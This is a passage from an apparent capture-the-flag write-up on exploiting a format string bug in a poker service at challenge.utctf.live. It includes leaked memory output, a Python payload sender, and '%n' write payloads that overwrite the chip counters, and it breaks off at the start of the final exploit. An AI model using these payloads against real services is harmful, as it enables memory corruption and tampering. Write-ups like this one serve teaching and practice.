<span class="o">[</span>s]  33: ...<span class="o">)</span><span class="nb">.</span>
<span class="o">[</span>s]  35: ......
<span class="o">[</span>s]  37: ....UH..H..
<span class="o">[</span>s]  40: ....1.I..^H..H...PTI..P7@
<span class="o">[</span>s]  50: .~....
<span class="o">[</span>s]  51: ...W..
<span class="o">[</span>s]  59: .......f....
<span class="o">[</span>s]  63: /build/poker
<span class="o">[</span>s]  65: <span class="nv">MAIL</span><span class="o">=</span>/var/mail/poker
<span class="o">[</span>s]  66: <span class="nv">USER</span><span class="o">=</span>poker
<span class="o">[</span>s]  67: <span class="nv">HOME</span><span class="o">=</span>/home/poker
<span class="o">[</span>s]  68: <span class="nv">LOGNAME</span><span class="o">=</span>poker
<span class="o">[</span>s]  69: <span class="nv">PATH</span><span class="o">=</span>/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
<span class="o">[!]</span> No direct flag string leaked <span class="k">in </span>scanned offsets.
</code></pre></div></div>

<p>Interpretation:</p>
<ul>
  <li>The format string is interpreted by the service.</li>
  <li>Positional argument access works.</li>
  <li>The service dereferences argument pointers and reads memory as C-strings.</li>
</ul>

<p>Next, for stage 3, I wrote this script:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">argparse</span>
<span class="kn">import</span> <span class="nn">re</span>
<span class="kn">import</span> <span class="nn">socket</span>
<span class="kn">import</span> <span class="nn">time</span>
<span class="kn">from</span> <span class="nn">pathlib</span> <span class="kn">import</span> <span class="n">Path</span>


<span class="n">DEFAULT_HOST</span> <span class="o">=</span> <span class="s">"challenge.utctf.live"</span>
<span class="n">DEFAULT_PORT</span> <span class="o">=</span> <span class="mi">7255</span>
<span class="n">ENTER_PROMPT</span> <span class="o">=</span> <span class="s">"Enter your name:"</span>
<span class="n">PLAY_PROMPT</span> <span class="o">=</span> <span class="s">"Play a hand?"</span>
<span class="n">ACTION_PROMPT</span> <span class="o">=</span> <span class="s">"Action ("</span>


<span class="k">def</span> <span class="nf">recv_some</span><span class="p">(</span><span class="n">sock</span><span class="p">:</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">,</span> <span class="n">timeout</span><span class="p">:</span> <span class="nb">float</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
    <span class="n">sock</span><span class="p">.</span><span class="n">settimeout</span><span class="p">(</span><span class="n">timeout</span><span class="p">)</span>
    <span class="n">chunks</span> <span class="o">=</span> <span class="p">[]</span>
    <span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
        <span class="k">try</span><span class="p">:</span>
            <span class="n">data</span> <span class="o">=</span> <span class="n">sock</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">4096</span><span class="p">)</span>
        <span class="k">except</span> <span class="p">(</span><span class="nb">TimeoutError</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">timeout</span><span class="p">):</span>
            <span class="k">break</span>
        <span class="k">if</span> <span class="ow">not</span> <span class="n">data</span><span class="p">:</span>
            <span class="k">break</span>
        <span class="n">chunks</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
        <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">4096</span><span class="p">:</span>
            <span class="k">break</span>
    <span class="k">return</span> <span class="sa">b</span><span class="s">""</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">chunks</span><span class="p">).</span><span class="n">decode</span><span class="p">(</span><span class="n">errors</span><span class="o">=</span><span class="s">"replace"</span><span class="p">)</span>


<span class="k">def</span> <span class="nf">send_line</span><span class="p">(</span><span class="n">sock</span><span class="p">:</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">,</span> <span class="n">line</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="bp">None</span><span class="p">:</span>
    <span class="n">sock</span><span class="p">.</span><span class="n">sendall</span><span class="p">((</span><span class="n">line</span> <span class="o">+</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">).</span><span class="n">encode</span><span class="p">())</span>


<span class="k">def</span> <span class="nf">wait_for_marker</span><span class="p">(</span><span class="n">sock</span><span class="p">:</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">,</span> <span class="n">marker</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">timeout</span><span class="p">:</span> <span class="nb">float</span><span class="p">,</span> <span class="n">transcript</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">tuple</span><span class="p">[</span><span class="nb">bool</span><span class="p">,</span> <span class="nb">str</span><span class="p">]:</span>
    <span class="n">end</span> <span class="o">=</span> <span class="n">time</span><span class="p">.</span><span class="n">time</span><span class="p">()</span> <span class="o">+</span> <span class="n">timeout</span>
    <span class="n">buf</span> <span class="o">=</span> <span class="n">transcript</span>
    <span class="k">while</span> <span class="n">time</span><span class="p">.</span><span class="n">time</span><span class="p">()</span> <span class="o">&lt;</span> <span class="n">end</span><span class="p">:</span>
        <span class="k">if</span> <span class="n">marker</span> <span class="ow">in</span> <span class="n">buf</span><span class="p">:</span>
            <span class="k">return</span> <span class="bp">True</span><span class="p">,</span> <span class="n">buf</span>
        <span class="n">piece</span> <span class="o">=</span> <span class="n">recv_some</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span> <span class="n">timeout</span><span class="o">=</span><span class="mf">0.35</span><span class="p">)</span>
        <span class="k">if</span> <span class="n">piece</span><span class="p">:</span>
            <span class="n">buf</span> <span class="o">+=</span> <span class="n">piece</span>
    <span class="k">return</span> <span class="n">marker</span> <span class="ow">in</span> <span class="n">buf</span><span class="p">,</span> <span class="n">buf</span>


<span class="k">def</span> <span class="nf">extract_summary</span><span class="p">(</span><span class="n">transcript</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
    <span class="n">welcome</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="sa">r</span><span class="s">"Welcome to the table, (.*?)!"</span><span class="p">,</span> <span class="n">transcript</span><span class="p">,</span> <span class="n">re</span><span class="p">.</span><span class="n">S</span><span class="p">)</span>
    <span class="n">chips</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="n">findall</span><span class="p">(</span><span class="sa">r</span><span class="s">"Your chips:\s*(\d+)\s*\|\s*Dealer chips:\s*(\d+)"</span><span class="p">,</span> <span class="n">transcript</span><span class="p">)</span>
    <span class="n">parts</span> <span class="o">=</span> <span class="p">[]</span>
    <span class="k">if</span> <span class="n">welcome</span><span class="p">:</span>
        <span class="n">w</span> <span class="o">=</span> <span class="n">welcome</span><span class="p">.</span><span class="n">group</span><span class="p">(</span><span class="mi">1</span><span class="p">).</span><span class="n">replace</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="s">" "</span><span class="p">).</span><span class="n">strip</span><span class="p">()</span>
        <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">w</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">80</span><span class="p">:</span>
            <span class="n">w</span> <span class="o">=</span> <span class="n">w</span><span class="p">[:</span><span class="mi">77</span><span class="p">]</span> <span class="o">+</span> <span class="s">"..."</span>
        <span class="n">parts</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="sa">f</span><span class="s">"welcome=</span><span class="si">{</span><span class="n">w</span><span class="si">!r}</span><span class="s">"</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">chips</span><span class="p">:</span>
        <span class="n">y</span><span class="p">,</span> <span class="n">d</span> <span class="o">=</span> <span class="n">chips</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
        <span class="n">parts</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="sa">f</span><span class="s">"chips=</span><span class="si">{</span><span class="n">y</span><span class="si">}</span><span class="s">-</span><span class="si">{</span><span class="n">d</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
    <span class="k">if</span> <span class="s">"{"</span> <span class="ow">in</span> <span class="n">transcript</span> <span class="ow">and</span> <span class="s">"}"</span> <span class="ow">in</span> <span class="n">transcript</span><span class="p">:</span>
        <span class="n">m</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="sa">r</span><span class="s">"[A-Za-z0-9_]*\{[^\n{}]+\}"</span><span class="p">,</span> <span class="n">transcript</span><span class="p">)</span>
        <span class="k">if</span> <span class="n">m</span><span class="p">:</span>
            <span class="n">parts</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="sa">f</span><span class="s">"flag=</span><span class="si">{</span><span class="n">m</span><span class="p">.</span><span class="n">group</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
    <span class="k">return</span> <span class="s">" | "</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">parts</span><span class="p">)</span> <span class="k">if</span> <span class="n">parts</span> <span class="k">else</span> <span class="s">"no-summary"</span>


<span class="k">def</span> <span class="nf">run_single</span><span class="p">(</span>
    <span class="n">host</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span>
    <span class="n">port</span><span class="p">:</span> <span class="nb">int</span><span class="p">,</span>
    <span class="n">name_payload</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span>
    <span class="n">queued_lines</span><span class="p">:</span> <span class="nb">list</span><span class="p">[</span><span class="nb">str</span><span class="p">],</span>
    <span class="n">auto_next</span><span class="p">:</span> <span class="nb">bool</span><span class="p">,</span>
    <span class="n">timeout</span><span class="p">:</span> <span class="nb">float</span><span class="p">,</span>
<span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">tuple</span><span class="p">[</span><span class="nb">int</span><span class="p">,</span> <span class="nb">str</span><span class="p">]:</span>
    <span class="n">transcript</span> <span class="o">=</span> <span class="s">""</span>
    <span class="n">queue</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">queued_lines</span><span class="p">)</span>

    <span class="k">with</span> <span class="n">socket</span><span class="p">.</span><span class="n">create_connection</span><span class="p">((</span><span class="n">host</span><span class="p">,</span> <span class="n">port</span><span class="p">),</span> <span class="n">timeout</span><span class="o">=</span><span class="mi">8</span><span class="p">)</span> <span class="k">as</span> <span class="n">sock</span><span class="p">:</span>
        <span class="n">sock</span><span class="p">.</span><span class="n">settimeout</span><span class="p">(</span><span class="mf">1.2</span><span class="p">)</span>

        <span class="n">ok</span><span class="p">,</span> <span class="n">transcript</span> <span class="o">=</span> <span class="n">wait_for_marker</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span> <span class="n">ENTER_PROMPT</span><span class="p">,</span> <span class="n">timeout</span><span class="p">,</span> <span class="n">transcript</span><span class="p">)</span>
        <span class="k">if</span> <span class="ow">not</span> <span class="n">ok</span><span class="p">:</span>
            <span class="k">return</span> <span class="mi">1</span><span class="p">,</span> <span class="n">transcript</span>

        <span class="n">send_line</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span> <span class="n">name_payload</span><span class="p">)</span>
        <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[send:name] </span><span class="si">{</span><span class="n">name_payload</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

        <span class="c1"># Read response right after name payload.
</span>        <span class="n">transcript</span> <span class="o">+=</span> <span class="n">recv_some</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span> <span class="n">timeout</span><span class="o">=</span><span class="mf">1.0</span><span class="p">)</span>

        <span class="k">if</span> <span class="n">auto_next</span> <span class="ow">and</span> <span class="n">queue</span><span class="p">:</span>
            <span class="n">end</span> <span class="o">=</span> <span class="n">time</span><span class="p">.</span><span class="n">time</span><span class="p">()</span> <span class="o">+</span> <span class="n">timeout</span>
            <span class="k">while</span> <span class="n">queue</span> <span class="ow">and</span> <span class="n">time</span><span class="p">.</span><span class="n">time</span><span class="p">()</span> <span class="o">&lt;</span> <span class="n">end</span><span class="p">:</span>
                <span class="c1"># Keep pulling output until one of the prompts appears.
</span>                <span class="n">transcript</span> <span class="o">+=</span> <span class="n">recv_some</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span> <span class="n">timeout</span><span class="o">=</span><span class="mf">0.4</span><span class="p">)</span>
                <span class="k">if</span> <span class="n">PLAY_PROMPT</span> <span class="ow">in</span> <span class="n">transcript</span> <span class="ow">or</span> <span class="n">ACTION_PROMPT</span> <span class="ow">in</span> <span class="n">transcript</span><span class="p">:</span>
                    <span class="n">line</span> <span class="o">=</span> <span class="n">queue</span><span class="p">.</span><span class="n">pop</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
                    <span class="n">send_line</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span> <span class="n">line</span><span class="p">)</span>
                    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[send] </span><span class="si">{</span><span class="n">line</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
                    <span class="n">transcript</span> <span class="o">+=</span> <span class="n">recv_some</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span> <span class="n">timeout</span><span class="o">=</span><span class="mf">0.8</span><span class="p">)</span>

        <span class="k">elif</span> <span class="n">queue</span><span class="p">:</span>
            <span class="c1"># Non-auto mode: send all queued lines immediately.
</span>            <span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">queue</span><span class="p">:</span>
                <span class="n">send_line</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span> <span class="n">line</span><span class="p">)</span>
                <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[send] </span><span class="si">{</span><span class="n">line</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
                <span class="n">transcript</span> <span class="o">+=</span> <span class="n">recv_some</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span> <span class="n">timeout</span><span class="o">=</span><span class="mf">0.8</span><span class="p">)</span>

        <span class="c1"># Final drain.
</span>        <span class="n">transcript</span> <span class="o">+=</span> <span class="n">recv_some</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span> <span class="n">timeout</span><span class="o">=</span><span class="mf">1.0</span><span class="p">)</span>

    <span class="k">return</span> <span class="mi">0</span><span class="p">,</span> <span class="n">transcript</span>


<span class="k">def</span> <span class="nf">main</span><span class="p">()</span> <span class="o">-&gt;</span> <span class="nb">int</span><span class="p">:</span>
    <span class="n">parser</span> <span class="o">=</span> <span class="n">argparse</span><span class="p">.</span><span class="n">ArgumentParser</span><span class="p">(</span><span class="n">description</span><span class="o">=</span><span class="s">"Send payloads to poker service and capture transcript"</span><span class="p">)</span>
    <span class="n">parser</span><span class="p">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s">"--host"</span><span class="p">,</span> <span class="n">default</span><span class="o">=</span><span class="n">DEFAULT_HOST</span><span class="p">,</span> <span class="n">help</span><span class="o">=</span><span class="s">"Target host"</span><span class="p">)</span>
    <span class="n">parser</span><span class="p">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s">"--port"</span><span class="p">,</span> <span class="nb">type</span><span class="o">=</span><span class="nb">int</span><span class="p">,</span> <span class="n">default</span><span class="o">=</span><span class="n">DEFAULT_PORT</span><span class="p">,</span> <span class="n">help</span><span class="o">=</span><span class="s">"Target port"</span><span class="p">)</span>
    <span class="n">parser</span><span class="p">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s">"--name"</span><span class="p">,</span> <span class="n">default</span><span class="o">=</span><span class="bp">None</span><span class="p">,</span> <span class="n">help</span><span class="o">=</span><span class="s">"Payload to send as name"</span><span class="p">)</span>
    <span class="n">parser</span><span class="p">.</span><span class="n">add_argument</span><span class="p">(</span>
        <span class="s">"--batch-name"</span><span class="p">,</span>
        <span class="n">action</span><span class="o">=</span><span class="s">"append"</span><span class="p">,</span>
        <span class="n">default</span><span class="o">=</span><span class="p">[],</span>
        <span class="n">help</span><span class="o">=</span><span class="s">"Batch mode: payload as name (repeat this flag for multiple payloads)"</span><span class="p">,</span>
    <span class="p">)</span>
    <span class="n">parser</span><span class="p">.</span><span class="n">add_argument</span><span class="p">(</span>
        <span class="s">"--send"</span><span class="p">,</span>
        <span class="n">action</span><span class="o">=</span><span class="s">"append"</span><span class="p">,</span>
        <span class="n">default</span><span class="o">=</span><span class="p">[],</span>
        <span class="n">help</span><span class="o">=</span><span class="s">"Additional lines to send after login (can be repeated, e.g. --send y --send n)"</span><span class="p">,</span>
    <span class="p">)</span>
    <span class="n">parser</span><span class="p">.</span><span class="n">add_argument</span><span class="p">(</span>
        <span class="s">"--auto-next"</span><span class="p">,</span>
        <span class="n">action</span><span class="o">=</span><span class="s">"store_true"</span><span class="p">,</span>
        <span class="n">help</span><span class="o">=</span><span class="s">"Send queued --send lines when Play/Action prompt appears"</span><span class="p">,</span>
    <span class="p">)</span>
    <span class="n">parser</span><span class="p">.</span><span class="n">add_argument</span><span class="p">(</span>
        <span class="s">"--auto-exit"</span><span class="p">,</span>
        <span class="n">action</span><span class="o">=</span><span class="s">"store_true"</span><span class="p">,</span>
        <span class="n">help</span><span class="o">=</span><span class="s">"Ensure command 'n' is queued (useful in batch mode)"</span><span class="p">,</span>
    <span class="p">)</span>
    <span class="n">parser</span><span class="p">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s">"--timeout"</span><span class="p">,</span> <span class="nb">type</span><span class="o">=</span><span class="nb">float</span><span class="p">,</span> <span class="n">default</span><span class="o">=</span><span class="mf">8.0</span><span class="p">,</span> <span class="n">help</span><span class="o">=</span><span class="s">"Overall wait timeout per stage"</span><span class="p">)</span>
    <span class="n">parser</span><span class="p">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s">"--save"</span><span class="p">,</span> <span class="nb">type</span><span class="o">=</span><span class="n">Path</span><span class="p">,</span> <span class="n">default</span><span class="o">=</span><span class="bp">None</span><span class="p">,</span> <span class="n">help</span><span class="o">=</span><span class="s">"Optional file path to save full transcript"</span><span class="p">)</span>
    <span class="n">args</span> <span class="o">=</span> <span class="n">parser</span><span class="p">.</span><span class="n">parse_args</span><span class="p">()</span>

    <span class="n">payloads</span><span class="p">:</span> <span class="nb">list</span><span class="p">[</span><span class="nb">str</span><span class="p">]</span> <span class="o">=</span> <span class="p">[]</span>
    <span class="k">if</span> <span class="n">args</span><span class="p">.</span><span class="n">name</span> <span class="ow">is</span> <span class="ow">not</span> <span class="bp">None</span><span class="p">:</span>
        <span class="n">payloads</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">args</span><span class="p">.</span><span class="n">name</span><span class="p">)</span>
    <span class="n">payloads</span><span class="p">.</span><span class="n">extend</span><span class="p">(</span><span class="n">args</span><span class="p">.</span><span class="n">batch_name</span><span class="p">)</span>

    <span class="k">if</span> <span class="ow">not</span> <span class="n">payloads</span><span class="p">:</span>
        <span class="k">print</span><span class="p">(</span><span class="s">"[-] Provide --name or at least one --batch-name"</span><span class="p">)</span>
        <span class="k">return</span> <span class="mi">2</span>

    <span class="n">queue</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">args</span><span class="p">.</span><span class="n">send</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">args</span><span class="p">.</span><span class="n">auto_exit</span> <span class="ow">and</span> <span class="s">"n"</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">queue</span><span class="p">:</span>
        <span class="n">queue</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="s">"n"</span><span class="p">)</span>

    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">payloads</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span>
        <span class="n">rc</span><span class="p">,</span> <span class="n">transcript</span> <span class="o">=</span> <span class="n">run_single</span><span class="p">(</span>
            <span class="n">host</span><span class="o">=</span><span class="n">args</span><span class="p">.</span><span class="n">host</span><span class="p">,</span>
            <span class="n">port</span><span class="o">=</span><span class="n">args</span><span class="p">.</span><span class="n">port</span><span class="p">,</span>
            <span class="n">name_payload</span><span class="o">=</span><span class="n">payloads</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span>
            <span class="n">queued_lines</span><span class="o">=</span><span class="n">queue</span><span class="p">,</span>
            <span class="n">auto_next</span><span class="o">=</span><span class="n">args</span><span class="p">.</span><span class="n">auto_next</span><span class="p">,</span>
            <span class="n">timeout</span><span class="o">=</span><span class="n">args</span><span class="p">.</span><span class="n">timeout</span><span class="p">,</span>
        <span class="p">)</span>
        <span class="k">if</span> <span class="n">rc</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">:</span>
            <span class="k">print</span><span class="p">(</span><span class="s">"[-] Did not receive name prompt"</span><span class="p">)</span>
            <span class="k">print</span><span class="p">(</span><span class="n">transcript</span><span class="p">[</span><span class="o">-</span><span class="mi">1000</span><span class="p">:])</span>
            <span class="k">return</span> <span class="n">rc</span>

        <span class="k">if</span> <span class="n">args</span><span class="p">.</span><span class="n">save</span> <span class="ow">is</span> <span class="ow">not</span> <span class="bp">None</span><span class="p">:</span>
            <span class="n">args</span><span class="p">.</span><span class="n">save</span><span class="p">.</span><span class="n">parent</span><span class="p">.</span><span class="n">mkdir</span><span class="p">(</span><span class="n">parents</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> <span class="n">exist_ok</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
            <span class="n">args</span><span class="p">.</span><span class="n">save</span><span class="p">.</span><span class="n">write_text</span><span class="p">(</span><span class="n">transcript</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s">"utf-8"</span><span class="p">)</span>
            <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[+] Saved transcript to </span><span class="si">{</span><span class="n">args</span><span class="p">.</span><span class="n">save</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

        <span class="k">print</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">===== Transcript Tail ====="</span><span class="p">)</span>
        <span class="k">print</span><span class="p">(</span><span class="n">transcript</span><span class="p">[</span><span class="o">-</span><span class="mi">2500</span><span class="p">:])</span>
        <span class="k">return</span> <span class="mi">0</span>

    <span class="n">save_dir</span> <span class="o">=</span> <span class="n">args</span><span class="p">.</span><span class="n">save</span>
    <span class="k">if</span> <span class="n">save_dir</span> <span class="ow">is</span> <span class="ow">not</span> <span class="bp">None</span><span class="p">:</span>
        <span class="n">save_dir</span><span class="p">.</span><span class="n">parent</span><span class="p">.</span><span class="n">mkdir</span><span class="p">(</span><span class="n">parents</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> <span class="n">exist_ok</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>

    <span class="n">ok_count</span> <span class="o">=</span> <span class="mi">0</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[*] Batch mode: </span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">payloads</span><span class="p">)</span><span class="si">}</span><span class="s"> payload(s)"</span><span class="p">)</span>
    <span class="k">for</span> <span class="n">idx</span><span class="p">,</span> <span class="n">payload</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">payloads</span><span class="p">,</span> <span class="n">start</span><span class="o">=</span><span class="mi">1</span><span class="p">):</span>
        <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"</span><span class="se">\n</span><span class="s">=== [</span><span class="si">{</span><span class="n">idx</span><span class="si">}</span><span class="s">/</span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">payloads</span><span class="p">)</span><span class="si">}</span><span class="s">] payload=</span><span class="si">{</span><span class="n">payload</span><span class="si">!r}</span><span class="s"> ==="</span><span class="p">)</span>
        <span class="k">try</span><span class="p">:</span>
            <span class="n">rc</span><span class="p">,</span> <span class="n">transcript</span> <span class="o">=</span> <span class="n">run_single</span><span class="p">(</span>
                <span class="n">host</span><span class="o">=</span><span class="n">args</span><span class="p">.</span><span class="n">host</span><span class="p">,</span>
                <span class="n">port</span><span class="o">=</span><span class="n">args</span><span class="p">.</span><span class="n">port</span><span class="p">,</span>
                <span class="n">name_payload</span><span class="o">=</span><span class="n">payload</span><span class="p">,</span>
                <span class="n">queued_lines</span><span class="o">=</span><span class="n">queue</span><span class="p">,</span>
                <span class="n">auto_next</span><span class="o">=</span><span class="n">args</span><span class="p">.</span><span class="n">auto_next</span><span class="p">,</span>
                <span class="n">timeout</span><span class="o">=</span><span class="n">args</span><span class="p">.</span><span class="n">timeout</span><span class="p">,</span>
            <span class="p">)</span>
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">exc</span><span class="p">:</span>
            <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[!] error: </span><span class="si">{</span><span class="n">exc</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
            <span class="k">continue</span>

        <span class="k">if</span> <span class="n">rc</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">:</span>
            <span class="k">print</span><span class="p">(</span><span class="s">"[-] no name prompt"</span><span class="p">)</span>
            <span class="k">continue</span>

        <span class="n">ok_count</span> <span class="o">+=</span> <span class="mi">1</span>
        <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[summary] </span><span class="si">{</span><span class="n">extract_summary</span><span class="p">(</span><span class="n">transcript</span><span class="p">)</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

        <span class="k">if</span> <span class="n">save_dir</span> <span class="ow">is</span> <span class="ow">not</span> <span class="bp">None</span><span class="p">:</span>
            <span class="n">out_path</span> <span class="o">=</span> <span class="n">save_dir</span><span class="p">.</span><span class="n">with_name</span><span class="p">(</span><span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="n">save_dir</span><span class="p">.</span><span class="n">stem</span><span class="si">}</span><span class="s">_</span><span class="si">{</span><span class="n">idx</span><span class="si">}{</span><span class="n">save_dir</span><span class="p">.</span><span class="n">suffix</span> <span class="ow">or</span> <span class="s">'.txt'</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
            <span class="n">out_path</span><span class="p">.</span><span class="n">write_text</span><span class="p">(</span><span class="n">transcript</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s">"utf-8"</span><span class="p">)</span>
            <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[+] saved </span><span class="si">{</span><span class="n">out_path</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"</span><span class="se">\n</span><span class="s">[*] Batch done: </span><span class="si">{</span><span class="n">ok_count</span><span class="si">}</span><span class="s">/</span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">payloads</span><span class="p">)</span><span class="si">}</span><span class="s"> succeeded"</span><span class="p">)</span>
    <span class="k">return</span> <span class="mi">0</span>


<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
    <span class="k">raise</span> <span class="nb">SystemExit</span><span class="p">(</span><span class="n">main</span><span class="p">())</span>
</code></pre></div></div>

<p>Run command:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>python3 send_payload.py <span class="nt">--name</span> %1000c%7<span class="se">\$</span>n <span class="nt">--send</span> n <span class="nt">--auto-next</span>
<span class="nv">$ </span>python3 send_payload.py <span class="nt">--name</span> %1000c%6<span class="se">\$</span>n <span class="nt">--send</span> n <span class="nt">--auto-next</span>
</code></pre></div></div>

<p>Result:</p>

<p><img src="https://www.notion.so/image/attachment%3A285754f2-dacb-4ad5-896f-c714619e14b0%3Aimage.png?table=block&amp;id=3251b638-5371-80cf-8eb9-ffd6c3e44634&amp;spaceId=a781b638-5371-818f-8f7e-000357107d6a&amp;width=1420&amp;userId=&amp;cache=v2" alt="six" /></p>

<p><img src="https://www.notion.so/image/attachment%3Aad79d262-9d8c-4401-8f71-b37eec3b25d8%3Aimage.png?table=block&amp;id=3251b638-5371-80ce-a326-d5d98ad6be26&amp;spaceId=a781b638-5371-818f-8f7e-000357107d6a&amp;width=1420&amp;userId=&amp;cache=v2" alt="seven" /></p>

<p>From the results, the mapping appears to be:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">your_chips</code> → format argument <code class="language-plaintext highlighter-rouge">#7</code></li>
  <li><code class="language-plaintext highlighter-rouge">dealer_chips</code> → format argument <code class="language-plaintext highlighter-rouge">#6</code></li>
</ul>

<h2 id="exploitation">Exploitation</h2>
<p>Based on the analysis, the final exploit script is:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">re</span>
<span class="kn">import</span> <span class="nn">socket</span>

<span class="n">HOST</span> <span class="o">=</span> <span class="s">"challenge.utctf.live"</span>
<span class="n">PORT</span> <span class="o">=</span> <span class="mi">7255</span>
<span class="n">FLAG_RE</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="nb">compile</span><span class="p">(</span><span class="sa">r</span><span class="s">"[A-Za-z0-9_]*\{[^\n{}]+\}"</span><span class="p">)</span>


